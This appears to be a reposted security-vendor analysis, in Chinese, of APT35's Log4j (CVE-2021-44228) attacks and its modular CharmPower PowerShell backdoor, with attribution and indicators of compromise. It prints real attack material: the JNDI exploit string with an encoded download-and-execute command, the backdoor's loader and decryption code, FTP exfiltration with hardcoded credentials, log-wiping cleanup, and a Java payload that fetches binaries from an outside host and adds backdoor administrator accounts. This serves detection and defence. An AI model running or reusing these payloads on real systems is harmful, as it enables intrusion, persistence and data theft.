APT35利用Log4j漏洞分发新的模块化PowerShell工具包

APT35利用Log4j漏洞分发新的模块化PowerShell工具包

介绍

随着 Log4j 安全漏洞的出现,我们已经看到多个威胁参与者,主要是出于经济动机,立即将其添加到他们的利用库中。毫不奇怪,一些国家支持的参与者也将这个新漏洞视为在潜在目标确定并修补受影响系统之前发动攻击的机会。

APT35(又名 Charming Kitten、TA453 或 Phosphorus)被怀疑是伊朗民族国家的参与者,仅在漏洞被披露四天后,它就开始广泛扫描并试图在面向公众的系统中利用 Log4j 漏洞。攻击者的攻击设置显然是仓促的,因为他们使用基本的开源工具进行攻击,并基于之前的基础设施进行操作,这使得攻击更容易检测并溯源。

在本文中,我们分享了 APT35 利用 Log4j 漏洞进行的最新攻击的详细信息,并分析了他们的利用后活动,包括基于 PowerShell 的新模块化框架 CharmPower,用于建立持久性、收集信息和执行命令。

感染链

为了利用 Log4j 漏洞 (CVE-2021-44228),攻击者选择了一种公开可用的开源JNDI Exploit Kits,因为该漏洞出现后它非常受欢迎,已从 GitHub 中删除。有多篇分析论文解释了如何利用该漏洞,因此我们将跳过实际利用步骤的细节。

APT35利用Log4j漏洞分发新的模块化PowerShell工具包
图 1:感染链。

为了利用易受攻击的机器,攻击者向受害者的公开资源发送精心制作的请求。在这种情况下,负载是在 User-Agent 或 HTTP Authorization 标头中发送的:

${jndi[:]ldap[://]144[.]217[.]139[.]155:4444/Basic/Command/Base64/cG93ZXJzaGVsbCAtZWMgSkFCWEFHVUFZZ0JEQUd3QWFRQmxBRzRBZEFBOUFFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJ1QUdVQWRBQXVBSGNBWlFCaUFHTUFiQUJwQUdVQWJnQjBBQTBBQ2dBa0FGUUFaUUI0QUhRQUlBQTlBQ0FBSkFCWEFHVUFZZ0JEQUd3QWFRQmxBRzRBZEFBdUFHUUFid0IzQUc0QWJBQnZBR0VBWkFCVEFIUUFjZ0JwQUc0QVp3QW9BQ0lBYUFCMEFIUUFjQUJ6QURvQUx3QXZBSE1BTXdBdUFHRUFiUUJoQUhvQWJ3QnVBR0VBZHdCekFDNEFZd0J2QUcwQUx3QmtBRzhBWXdCc0FHa0FZZ0J5QUdFQWNnQjVBSE1BWVFCc0FHVUFjd0F2QUhRQVpRQnpBSFFBTGdCMEFIZ0FkQUFpQUNrQURRQUtBSEFBYndCM0FHVUFjZ0J6QUdnQVpRQnNBR3dBSUFBdEFHVUFZd0FnQUNRQVZBQmxBSGdBZEFBPQ==}

成功利用后,利用服务器构建并返回一个恶意 Java 类以在易受攻击的机器上执行。此类运行带有 base64 编码有效负载的 PowerShell 命令:

ExploitQVQRSQrKet.cmd = "powershell -ec JABXAGUAYgBDAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0AA0ACgAkAFQAZQB4AHQAIAA9ACAAJABXAGUAYgBDAGwAaQBlAG4AdAAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcABzADoALwAvAHMAMwAuAGEAbQBhAHoAbwBuAGEAdwBzAC4AYwBvAG0ALwBkAG8AYwBsAGkAYgByAGEAcgB5AHMAYQBsAGUAcwAvAHQAZQBzAHQALgB0AHgAdAAiACkADQAKAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAYwAgACQAVABlAHgAdAA=";

它最终从 Amazon S3 存储桶 URL 下载 PowerShell 模块hxxps://s3[.]amazonaws[.]com/doclibrarysales/test[.]txt,然后执行它:

$WebClient=New-Object net.webclient
$Text = $WebClient.downloadString("<https://s3.amazonaws.com/doclibrarysales/test.txt>")
powershell -ec $Text

CharmPower:基于 PowerShell 的模块化后门

下载的 PowerShell 有效负载是主要模块,负责与 C&C 服务器的基本通信以及接收的附加模块的执行。主模块执行以下操作:

  • 验证网络连接 –执行后,脚本通过使用参数 向 google.com 发出 HTTP POST 请求来等待活动的 Internet 连接hi=hi
  • 基本系统枚举——该脚本收集 Windows 操作系统版本、计算机名称和路径中文件Ni.txt的内容;$APPDATA该文件可能由主模块下载的不同模块创建和填充。
  • 检索 C&C 域——恶意软件解码从硬编码 URL 检索到的 C&C 域,该 URLhxxps://s3[.]amazonaws[.]com/doclibrarysales/3位于下载后门的同一 S3 存储桶中。
  • 接收、解密、执行后续模块。

收集完所有数据后,恶意软件通过定期向接收到的域上的以下 URL 发送 HTTP POST 请求来开始与 C&C 服务器的通信:

<C&C domain>/Api/Session.

每个请求都包含以下 POST 数据:

Session="[OS Version] Enc;;[Computer name]__[Contents of the file at $APPDATA\\Ni.txt]"

C&C 服务器可以通过以下两种方式之一进行响应:

  • NoComm – 无命令,这会导致脚本继续发送 POST 请求。
  • Base64 字符串——要执行的模块。该模块使用简单的替换密码进行加密,并以 base64 编码。下面提供了解码例程的片段:
function decrypt($Cipher) {
    $Cipher = $Cipher.Replace("############", "+");
    $Cipher = $Cipher.Replace("************", "%");
    $Cipher = $Cipher.Replace("____________", "&");
    $Cipher = $Cipher.Replace("_c_c_c_c_c_", "+");
    $Cipher = $Cipher.Replace("_x_x_x_x_x_", "%");
    $Cipher = $Cipher.Replace("_z_z_z_z_z_", "&");
    $b = $Cipher.ToCharArray()
    [array]::Reverse($b)
    $ReverseCipher = -join($b)
    $EncodedText = [char[]]::new($ReverseCipher.length)
    for ($i = 0; $i -lt $ReverseCipher.length; $i++) {
        if ($ReverseCipher[$i]  - ceq '*')  {$EncodedText[$i] = '='} 
    elseif ($ReverseCipher[$i]  - ceq 'l')  {$EncodedText[$i] = 'a'} 
    elseif ($ReverseCipher[$i]  - ceq 'L')  {$EncodedText[$i] = 'A'} 
        elseif ($ReverseCipher[$i]  - ceq 'c')  {$EncodedText[$i] = 'b'} 
        elseif ($ReverseCipher[$i]  - ceq 'C')  {$EncodedText[$i] = 'B'} 
        <...>
    }
    return [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EncodedText))
}

下载的模块是 PowerShell 脚本或 C# 代码。每个解码的模块都具有以下格式:language~code~modulename~action, 动作可能是stop,startdownloadutil. 后者仅与 PowerShell 模块相关。
以下代码片段处理模块解析并根据模块的语言执行相关的执行方法:

[string[]]$arr = $CommandPart.Split("~");
[string]$language = $arr[0];
[string]$Command = $arr[1];
[string]$ThreadName = $arr[2];
[string]$StartStop = $arr[3];
if ($StartStop -ne "-" -and $StartStop -ne "")  {
    if ($language  -like "*owers*")  {
        if ($StartStop -like "*wnloaduti*") {
            &(gcm *ke-e*) $Command;
        } elseif ($StartStop  -eq "start")  {
            $scriptBlock = [Scriptblock]::Create($Command)
            Start-Job -ScriptBlock $scriptBlock -Name $ThreadName
        } elseif ($StartStop -eq "stop")  {
            &(gcm *ke-e*) $Command; }
    } elseif ($language -like "*shar*")  {
        if ($StartStop -eq "start")  {
            $ScriptBlock = {Param ([string] [Parameter(Mandatory = $true)] $Command)
                Add-Type $Command
                [AppProject.Program]::Main()}
            Start-Job $ScriptBlock -ArgumentList $Command -Name $ThreadName
        } elseif ($StartStop  -eq "stop")  {
            &(gcm  *ke-e*) $Command;}

主模块还可以更改通信通道:每 360 次 C&C 循环,它可以从参与者的 S3 存储桶中检索一个新域:

if ($loopCount -eq 360) {
    Write - Output "-------------------------------------------"
    $loopCount = 0
    $Domain = getDomain
}

C&C 发送的模块由主模块执行,每个模块分别向服务器上报数据。这个 C&C 循环无限期地持续下去,这使得威胁参与者可以在受感染的机器上收集数据、运行任意命令,并可能通过执行横向移动或执行勒索软件等后续恶意软件来升级他们的行动。

模块

每个模块都是攻击者根据主模块发送的数据自动生成的:每个模块都包含一个硬编码的机器名称和一个硬编码的 C&C 域。

我们观察到的所有模块都包含共享代码,负责:

  • 加密数据。
  • 通过 POST 请求或上传到 FTP 服务器来泄露收集到的数据。
  • 将执行日志发送到远程服务器。

除此之外,每个模块都执行一些特定的工作。我们设法检索和分析了下一个模块:

  • 列出已安装的应用程序。
  • 截屏。
  • 列出正在运行的进程。
  • 获取操作系统和计算机信息。
  • 从 C&C 执行预定义的命令。
  • 清理由不同模块创建的任何痕迹。

应用模块

该模块使用两种方法来获取已安装的应用程序。首先是枚举Uninstall注册表值:

function Get-InstalledPrograms {
  [CmdletBinding()]
  param (
    [Parameter()]
    [string]
    $DisplayName
  )
  Get-ItemProperty -Path @(
    'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*',
    'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*',
    'HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*',
    'HKCU:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*'
  ) -ErrorAction SilentlyContinue | Where-Object {
     -not $PSBoundParameters.ContainsKey('DisplayName') -or (
      $_.PSObject.Properties.Name -contains 'DisplayName' -and $_.DisplayName -like $DisplayName
    );
  } | Select-Object DisplayName| Sort-Object -Property DisplayName;
}

第二种方法是使用 wmic 命令:

cmd.exe /c "wmic product get name, InstallLocation, InstallDate, Version  /format:csv > $FilePath"

截图模块

我们观察了这个模块的 C# 和 PowerShell 变体,每个变体都能够以指定的频率捕获多个屏幕截图,并将生成的屏幕截图上传到 FTP 服务器,并使用脚本中硬编码的凭据:

SendByFTP("ftp://" + "54.38.49.6" + ":21/" + "VICTIM-PC__" + "/screen/" + Name + ".jpg", "lesnar", "[email protected]#", FilePath);

C# 脚本使用 base64 编码的 PowerShell 命令从多个屏幕截取屏幕截图:

[Reflection.Assembly]::LoadWithPartialName("System.Drawing")
    [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing") 
    [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") 
    $width = 0;
    $height = 0;
    $workingAreaX = 0;
    $workingAreaY = 0;
    $screen = [System.Windows.Forms.Screen]::AllScreens;
    foreach ($item in $screen) {
        if($workingAreaX -gt $item.WorkingArea.X) {
            $workingAreaX = $item.WorkingArea.X;
        }
        if($workingAreaY -gt $item.WorkingArea.Y) {
            $workingAreaY = $item.WorkingArea.Y;
        }
        $width = $width + $item.Bounds.Width;
        if($item.Bounds.Height -gt $height) {
            $height = $item.Bounds.Height;
        }
    }
    $bounds = [Drawing.Rectangle]::FromLTRB($workingAreaX, $workingAreaY, $width, $height); 
    $bmp = New-Object Drawing.Bitmap $width, $height;
    $graphics = [Drawing.Graphics]::FromImage($bmp);
    $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size);
    $savePath = "$env:APPDATA\\systemUpdating\\help.jpg";
    $bmp.Save($savePath);

流程模块

该模块尝试使用 tasklist 命令抓取正在运行的进程:

cmd.exe /c "tasklist /v /FO csv > $FilePath"

系统信息模块

这个模块包含一堆 PowerShell 命令,奇怪的是,这些命令被注释掉了。唯一执行的命令是 systeminfo 命令。

#$Path = systeminfo 
#$Hosts=$Path|Select-String "Host Name:" 
#$OSName=$Path|Select-String "OS Name:"
#$RegisteredOwner=$Path|Select-String "Registered Owner:"
#$SystemBootTime=$Path|Select-String "System Boot Time:"
#$SystemModel=$Path|Select-String "System Model:"
#$SystemType=$Path|Select-String "System Type:"
#$SystemDirectory=$Path|Select-String "System Directory:"
#$TimeZone=$Path|Select-String "Time Zone:"
#$infos=$Hosts.ToString()+"`r`n"+$OSName.ToString()+"`r`n"+$RegisteredOwner.ToString()+"`r`n"+$SystemBootTime.ToString()+"`r`n"+$SystemModel.ToString()+"`r`n"+$SystemType.ToString()+"`r`n"+$SystemDirectory.ToString()+"`r`n"+$TimeZone.ToString()
#$infos | Out-File -FilePath  $FilePath
#Get-Date -Format "yyyy/dd/MM HH:mm" | Out-File -FilePath $FilePath -append
#ipconfig /all | findstr /C:"IPv4" /C:"Physical Address" >> $FilePath

systeminfo | Out-File -FilePath $FilePath -append -Encoding UTF8

从注释掉的命令中,我们可以了解威胁参与者如何组织系统信息、他们感兴趣的数据以及发送更多模块时可能考虑的内容。

命令执行模块

威胁参与者可以通过运行这个具有预定义操作的专用模块来执行远程命令。该模块尝试执行命令。它对Invoke-Expression基于 PowerShell 的模块使用 PowerShell 方法,而其 C# 实现同时具有cmdPowerShell选项。

在分析过程中,我们观察了攻击者如何创建和发送下一个命令执行模块:

  • 使用列出 C:/ 驱动器内容 cd C:/; ls;
  • 使用列出特定的 Wi-Fi 配置文件详细信息 netsh wlan show profiles name='<Name>' key=clear;
  • 使用 列出驱动器Get-PSDrive

清理模块

在攻击者完成活动并希望从系统中删除任何痕迹后,该模块将被删除。该模块包含注册表和启动文件夹、创建的文件和正在运行的进程中与持久性相关的工件的清理方法。

该模块包含五个硬编码级别,具体取决于攻击阶段,每个级别都有不同的用途。执行级别由威胁参与者在每种特定情况下预先确定:

$Level = "level4"
if($Level -eq "level1") {
    wevtutil el
}
elseif($Level -eq "level2") {
    CleanStartupFolder
}
elseif($Level -eq "level3") {
    CleanPersisRegistryAndFile
}
elseif($Level -eq "level4") {
    CleanModules
}
elseif($Level -eq "level5") {
    wevtutil el
    CleanPersisRegistryAndFile
    CleanStartupFolder
    Remove-Item $env:APPDATA/a.ps1
    Remove-Item $env:APPDATA/textmanager.ps1
    Remove-Item $env:APPDATA/docready.bat
    Remove-Item $env:APPDATA/pdfreader.bat
    Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce" -Name "databrowser"
}

CleanupModules 函数尝试杀死与先前运行的模块相关的任何正在运行的进程:

function CleanModules {
    $ProgramFolder = $env:APPDATA + "/systemUpdating"
    $files = Get-ChildItem -Path "$ProgramFolder" -Recurse  | % { $_.FullName }
    Foreach ($fileName in $files)     {
        $lastslash = $fileName.LastIndexOf("\\") + 1
        $PureName = $fileName.Substring($lastslash);
        taskkill /F /IM "$PureName"
        Remove-Item $ProgramFolder\\* -Recurse -Force
    }
}

模块中的另一个功能尝试删除威胁参与者可能使用的其他指标:

function CleanPersisRegistryAndFile {
    Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Update" -Name "Key"
    Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Update2" -Name "Key"
    Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce" -Name "systemUpdating"
    Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce" -Name "systemUpdating2"
    Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -Name "systemUpdating"
    Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -Name "systemUpdating2"
    Remove-Item $env:APPDATA/main.ps1
    Remove-Item $env:APPDATA/reserve.ps1
    Remove-Item $env:APPDATA/ni.txt
}

从我们对该模块的检查来看,很明显,威胁参与者希望在他们认为有必要的情况下将感染保留在机器上,并且一旦达到他们的目标,就能够消失得无影无踪。

溯源

通常,APT 参与者会确保更改他们的工具和基础设施,以避免被检测到并使溯源更加困难。然而,APT35 不符合这种行为该组织在网络安全社区中以之前操作中的 OpSec错误数量而闻名,一旦暴露,他们往往不会投入太多精力来更改其基础设施。难怪这里描述的它们的操作在代码和基础架构上与以前的 APT35 活动有很大的重叠。

代码重叠

2021 年 10 月,谷歌威胁分析组发表了一篇关于APT35 移动恶意软件的文章。尽管我们分析的样本是 PowerShell 脚本,但它们与 Google 归因于 APT35 的 Android 间谍软件之间的编码风格相似性立即引起了我们的注意。

  • 首先,日志功能的实现是相同的。Android 应用程序使用以下格式将其操作记录到 C&C 服务器:
MAC=<DEVICE_NAME>&Log=<LOG>&ModuleName=<MODULE_NAME>&Status=<STATUS>
public static void post_log(String str, String str2, String str3, String str4, String str5) throws MalformedURLException, UnsupportedEncodingException {
    if (haveNetworkConnection())  {
        Send_Data_By_Http(Constants.Server_TargetLog, (((((("MAC="  +  str)  +  "&Log=")  +  str2)  +  "&ModuleName=")  +  str3)  +  "&Status=")  +  str4);
    }
}

PowerShell 模块也包含相同的日志记录格式,即使命令被注释掉并替换为另一种格式。这些行没有被彻底删除的事实可能表明该更改是最近才完成的。

function Send_Log($Log, $ModuleName, $status)
{
    $http_request = New-Object -ComObject Msxml2.XMLHTTP
    #$parameters = "MAC=VICTIM-PC" + "&Log=" + $Log + "&ModuleName=" + $ModuleName + "&Status=" + $status     
    $DataPost = "VICTIM-PC___;_" + $ModuleName + "_;_" + $Status + "_;_" + $Log  
    $DataPostEnc = Encrypt $DataPost
    $parameters = "Data=" + $DataPostEnc
    $http_request = New-Object -ComObject Msxml2.XMLHTTP
    $http_request.open("POST", $TargetLog, $false)
    $http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
    $http_request.setRequestHeader("Content-length", $parameters.length)
    $http_request.send($parameters)
}

日志消息的语法也相同。这是Android应用程序代码:

Functions.post_log(Functions.MAC, "Successfully Finish Monitor Permissions module.", "Monitor Permissions", "Success", Constants.Domain);

这是脚本中记录代码的示例:

SendLog("VICTIM-PC__", "Successfully Finish Screen module.", "Screen", "Success", TargetLog);

移动版和 PowerShell 版Stack=Overflow在 C&C 通信中使用相同的唯一参数 :

APT35利用Log4j漏洞分发新的模块化PowerShell工具包
图 2:
Stack=Overflow归因于 APT35 的移动恶意软件中参数的使用。
APT35利用Log4j漏洞分发新的模块化PowerShell工具包
图 3:
Stack=OverflowPowerShell 版本中参数的使用。

基础设施重叠

根据我们对APT35的Android恶意软件的分析,移动样本的C&C服务器有以下API端点:

/Api/Session
/Api/GetPublicIp
/Api/AndroidTargetLog
/Api/AndroidDownload
/Api/AndroidBigDownload
/Api/AndroidHttpModuleData
/Api/HttpModuleDataAppend
/Api/IsRunAudioRecorder
/Api/IsRunClipboard
/Api/IsRunGPS

根据我们能够检索到的模块,PowerShell 恶意软件的 C&C 具有以下 API 端点:

/Api/Session
/Api/TargetLogEnc
/Api/BigDownloadEnc

移动和 PowerShell 变体的 C&C 服务器共享 API 端点 /Api/Session。由于功能和平台的不同,其他 API 端点相似但并不完全相同。

更有趣的是,额外的测试表明,不仅 URL 相似,而且 PowerShell 变体的 C&C 域实际上响应了移动变体中使用的 API 请求。

APT35利用Log4j漏洞分发新的模块化PowerShell工具包
图 4:PowerShell 示例中的 C&C 响应
/Api/GetPublicIpAPI 请求。
APT35利用Log4j漏洞分发新的模块化PowerShell工具包
图 5: /Api/IsRunAudioRecorder对API 端点
的 PowerShell 变体 C&C 响应。

其余 API 端点以 405 HTTP 错误响应,这与不存在的 URL 的响应不同(/Api/RANDOM_STRING始终以 404 HTTP 错误响应)。

APT35利用Log4j漏洞分发新的模块化PowerShell工具包
图 6:/Api/AndroidBigDownload对API 端点
的 PowerShell 变体 C&C 响应。

我们在这里的结论是,PowerShell 变体的 C&C 支持与移动变体相同的 C&C 通信协议。两台 C&C 服务器都运行类似的服务器端代码,并且可能由同一个威胁参与者操作。

进一步狩猎

我们分析了这次攻击的基础设施并进行了一些观察:

  • 我们在此活动中观察到的所有服务器均由 OVH SAS 和 Hetzner Online GmbH 托管。这不是 APT35 第一次使用这些托管服务提供商,并且结合 C&C 域共享的特定模式(0<word><letter><word>0.xyz),它为进一步寻找提供了一些线索。
  • 当我们调查基础设施时,我们发现其中一台 C&C 服务器响应了 127.0.0.1用作 C&C 服务器的模块。这可能是一个开发服务器,因为我们没有在已知的感染链中看到它。模块代码中的错误数量也表明基于 PowerShell 的恶意软件仍在积极开发中。
  • C&C 服务器响应模块所需的时间以及它响应的模块类型在受害者之间存在显着差异。这可能是 C&C 手动操作的证据,由操作员决定哪些目标感兴趣,哪些不感兴趣。

更多的利用尝试

以 APT35 为名跟踪的多项活动包括范围、目标和方法差异很大的操作。有一些操作严重依赖先进的鱼叉式网络钓鱼技术进行监视。另一方面,去年,我们看到了演员也进入勒索软件场景的证据。再次秉承“不要把所有鸡蛋都放在一个篮子里”的格言,在所描述的攻击开始后的第二天,APT35 的一个小组又发起了另一场大规模的活动,专门针对以色列网络。这一次,他们没有使用开源的 Log4j 漏洞利用服务器,而是自己实现了漏洞利用,但重用了之前公开的专门用于勒索软件操作的基础设施。

恶意 Java 类的部分代码,所有指标与Microsoft & The DFIR Report的分析一致,表明攻击者抓住机会将 Windows 和 Linux 的多个攻击阶段组合成一个漏洞:

public RCE() {
    if (File.separator.equals("/")) {
        this.download("<https://148.251.71.182/symantec_linux.x86>", "/tmp/lock");
        try {
            Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "chmod +x /tmp/lock ; flock -n /tmp/log.bak /tmp/lock &" });
            Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "(crontab -l && echo \\"@reboot flock -n /tmp/log.bak /tmp/lock &\\") | crontab -" });
            Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "sudo useradd -g -m -s /bin/bash -p $(echo [email protected] | openssl passwd -1 -stdin) master" });
        }
        catch (IOException iOException) {
            iOException.printStackTrace();
        }
    }
    else {
        this.download("<https://148.251.71.182/symantec.tmp>", "c:\\\\windows\\\\temp\\\\dllhost.exe;");
        String win_cmd = "Start-Process c:\\\\windows\\\\temp\\\\dllhost.exe;";
        win_cmd += "net user /add DefaultAccount [email protected]; net user DefaultAccount /active:yes; net user DefaultAccount [email protected]; net localgroup Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add DefaultAccount; Set-LocalUser -Name DefaultAccount -PasswordNeverExpires 1;";
        win_cmd += "New-Itemproperty -path 'HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run' -Name 'DllHost' -value 'c:\\\\windows\\\\temp\\\\dllhost.exe' -PropertyType 'String' -Force;";
        final String[] arrayOfString = { "powershell", "-c Invoke-Command", "{" + win_cmd + "}" };
        try {
            Runtime.getRuntime().exec(arrayOfString);
        }
        catch (IOException iOException2) {
            iOException2.printStackTrace();
        }
    }

结论

每次发布新的严重漏洞时,整个信息安全社区都会屏住呼吸,直到最担心的事情成真:现实世界的利用场景,尤其是国家支持的参与者。正如我们在本文中所展示的,Log4j 漏洞的等待时间只有几天。其简单性和易受攻击的设备数量广泛相结合,使其成为对 APT35 等参与者非常有吸引力的漏洞。

在这些攻击中,攻击者仍然使用与之前的许多攻击相同或相似的基础设施。然而,从他们利用 Log4j 漏洞的能力和 CharmPower 后门的代码片段来看,攻击者能够快速换档,并为他们攻击的每个阶段积极开发不同的实现。

Check Point 的Infinity平台从一开始就阻止了这种攻击。

(IOCs)侵害指标

IP及域名

144.217.138[.]155
54.38.49[.]6
148.251.71[.]182
0standavalue0[.]xyz
0storageatools0[.]xyz
0brandaeyes0[.]xyz

文件路径

%APPDATA%\\Ni.txt
%APPDATA%\\systemUpdating\\Applications.txt
%APPDATA%\\systemUpdating\\Processes.txt
%APPDATA%\\systemUpdating\\Information.txt
%APPDATA\\systemUpdating\\help.jpg
%APPDATA%\\systemUpdating\\Shell.txt
%APPDATA%\\main.ps1
%APPDATA%\\reserve.ps1
%APPDATA%\\textmanager.ps1
%APPDATA%\\docready.bat
%APPDATA%\\pdfreader.bat

注册表keys

Path: HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce
Key: systemUpdating
Path: HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce
Key: systemUpdating2
Path: HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce
Key: databrowser
Path: HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
Key: systemUpdating
Path: HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
Key: systemUpdating2
Path: HKCU:\\SOFTWARE\\Update
Key: Key
Path: HKCU:\\SOFTWARE\\Update2
Key: Key

from

转载请注明出处及链接

注意事项:

此类病毒类分析文章中所展现的payloads可能被杀毒软件拦截,属于正常现象.

Leave a Reply

您的电子邮箱地址不会被公开。